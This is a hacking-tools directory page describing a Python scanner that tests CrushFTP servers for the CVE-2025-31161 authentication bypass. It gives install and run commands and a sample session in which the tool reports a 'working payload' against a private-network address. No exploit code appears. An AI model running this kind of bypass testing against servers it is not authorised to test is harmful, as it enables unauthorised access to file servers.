Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-31161 — Scans target to see if its vulnerable to CVE-2025-31161 | Kitploit
Tools/GitHubGitHub/tdawg506/cve-2025-31161
Vulnerability ScannersExploitationWeb Application ExploitationPenetration TestingAuthenticationLearning & Education
GitHubtdawg506/cve-2025-31161

CVE-2025-31161

Scans target to see if its vulnerable to CVE-2025-31161

View Repository
111 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-31161 CrushFTP Authentication Bypass Scanner

A Python tool to detect and test for CVE-2025-31161 vulnerability in CrushFTP servers.

📖 Description

This script tests for the authentication bypass vulnerability (CVE-2025-31161) in CrushFTP servers that allows remote attackers to authenticate without valid credentials through HTTP Authorization header manipulation.

✨ Features

  • 🔍 Interactive target input (IP and port)
  • 🎯 Multiple exploitation payload testing
  • 📊 Automatic vulnerability detection
  • 🎨 Clear visual indicators with emojis
  • 📋 Comprehensive results reporting
  • ⚡ Easy to use with no complex configuration

🚀 Basic Usage

root@kitploit:~
python3 CVE-2025-31161.py

Installation

root@kitploit:~
git clone https://github.com/yourusername/CVE-2025-31161.py
cd CVE-2025-31161.py
pip3 install -r requirements.txt

Example Session

Download Tool

$ python3 CVE-2025-31161.py

🔍 CrushFTP CVE-2025-31161 Authentication Bypass Tester

Enter target IP address: 192.168.1.100
Enter target port [8080]: 8080

🎯 Target: http://192.168.1.100:8080

🚀 Starting vulnerability scan...

==================================================

📡 Testing: /WebInterface/
🔑 Payload: 'A'
📊 Status: 200
🎉 VULNERABILITY CONFIRMED
💡 200 OK with content: dashboard, main
✅ Working payload: 'A'

📋 SCAN RESULTS

==================================================
🎯 Target: 192.168.1.100:8080
🔴 VULNERABILITY STATUS: VULNERABLE
💥 CVE-2025-31161 Authentication Bypass CONFIRMED

✅ Working payloads:

1. A -> /WebInterface/

==================================================

Legal Disclaimer

This tool is for educational and authorized testing purposes only. Only use on systems you own or have explicit permission to test.